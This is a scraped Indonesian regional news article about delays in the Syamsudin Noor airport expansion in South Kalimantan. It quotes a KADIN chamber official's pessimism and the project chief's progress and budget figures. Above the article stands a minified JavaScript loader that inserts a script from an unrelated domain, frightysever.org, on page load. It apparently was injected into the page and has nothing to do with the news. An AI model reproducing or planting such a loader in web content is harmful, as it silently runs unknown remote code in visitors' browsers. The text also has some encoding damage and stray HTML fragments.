(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ketua Kamar Dagang dan Industri Indonesia (KADIN) Kalsel Edy Suryadi mengaku pesimis realisasi pengembangan Bandara Syamsudin Noor bisa selesai tepat waktu. Dilihatnya hingga saat ini, progres pengembangan bandara baru mencapai sekitar 50 persen saja. Padahal ditargetkan pengembangannya selesai pada Tahun 2019 mendatang untuk bisa dipakai oleh masyarakat luas.
“Waktunya kurang lebih 1 tahun lagi, namun progresnya baru mencapai 50 persen. Padahal idealnya kalau waktunya sudah tinggal 1 tahun lagi, pengerjaan harusnya sudah dalam tahap finishing,” ungkap pengusaha di bidang konstruksi tersebut, Senin (22/10).
Finishing sendiri biasanya menurut Edy, adalah pengerjaan yang paling sulit dan memakan waktu lama dalam sebuah proyek. Karena itulah menurutnya untuk kasus pengerjaan bandara Bandara Syamsudin Noor yang progresnya baru sekitar 50 persen, sangat kecil kemungkinan selesai tepat waktu.
“Makanya saya berani mengatakan pesimis untuk selesai tepat waktu. Karena dalam kenyataannya progresnya untuk fisik saja belum 100 persen, belum lagi mengerjakan finishing yang biasanya memakan waktu lama,” tambahnya.
Bagi Edy, keberadaan bandara yang representatif dan berkelas internasional sudah sangatlah mendesak dan diperlukan. Hal mengingat keberadaan bandara kini dipandang sebagai salah satu gerbang ekonomi bagi sebuah daerah. “Kita kadang malu sendiri saat kolega kita di dunia usaha bertandang ke Kalsel untuk melakukan aktivitas bisnis. Padahal sudah berapa Triliun yang kita sumbangkan bagi negara melalui tambang batu bara dari Kalsel,” tegasnya.
Selain itu dengan kehadiran Bandara Syamsudin Noor yang representatif dan berkelas internasional, Kalsel pun juga bisa mengembangkan banyak rute baru, tidak terkecuali rute Internasional. “Khususnya realisasi rute internasional Banjarmasin-Jeddah. Rute tersebut selama ini sulit diwujudkan oleh Maskapai Garuda karena Kalsel belum memiliki Bandara yang representatif. Padahal untuk pasarnya sendiri sangatlah menjanjikan,” pungkasnya.
Sebelumnya, pimpinan Proyek Pengembangan Bandara Syamsudin Noor Tochid Purnomo Hadi mengatakan seluruh paket pekerjaan proyek sudah berjalan. “Saat ini semua pekerjaan proyek sudah dapat dilaksanakan dan sesuai jadwal,†jelasnya.
Pekerjaan proyek untuk paket I berupa pembangunan terminal dan gedung KSO yang dimulai sejak Mei 2018 dengan kantor pelaksana yaitu PT PP-Wika. Pekerjaan berupa persiapan, land clearing dan pemagaran. Untuk paket II meliputi infrastruktur, bangunan penunjang dan apron. “Pekerjaan gedung penunjang masuk ke pekerjaan arsitektur, infrastruktur pembentukan jalan dan pelapisan base course, apron masih pada pekerjaan pengurukan tanah,†paparnya ketika itu.
Proyek pengembangan Bandara Syamsudin Noor ini sempat terkendala sejak 2010 silam. Proyek yang menyedot anggaran sebesar Rp 2,3 triliun tersebut ditargetkan rampung dan beroperasi pada 2019 mendatang. Untuk proyek paket I sebesar Rp 900 miliar dan paket II sebesar Rp 1,4 triliun.
Tiga bulan lalu, kepada media Tochid mengatakan infrastruktur dan bangunan pendukung seperti fire station, apron, kantor administrasi, masjid dan beberapa bangunan lain sudah sekitar 35%, sedangkan untuk terminal baru 1%. Dia mengatakan, hampir semua pekerjaan struktur sebenarnya sudah selesai, tinggal electrical dan finishing karena soal itu memang pekerjaan yang tidak bisa diburu-buru, tapi tetap berusaha sesuai target.
Sebelumnya proyek pengembangan bandara Syamsudin Noor ini menjadi perhatian Menteri Perhubungan, Budi Karya Sumadi yang meminta PT Angkasa Pura I segera merampungkan proyek tersebut. Pemprov Kalsel melalui gubernur Kalsel sebelumnya Rudy Arifin dan Sahbirin Noor, Gubernur saat ini terus mendesak dukungan pemerintah pusat untuk penyelesaian proyek pengembangan bandara yang berlarut-larut. Bandara Syamsudin Noor ditarget dapat beroperasi pada akhir 2019.
Bandara Syamsudin Noor yang baru nantinya akan memiliki desain modern namun tetap mengacu desain bernuansa budaya banjar. Bandara Syamsudin Noor akan mempunyai kapasitas bertambah dari 1,3 juta orang menjadi 12 juta penumpang pertahun.(arief)
div class=”reporter”>
Reporter : Arief
Editor : Chell
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.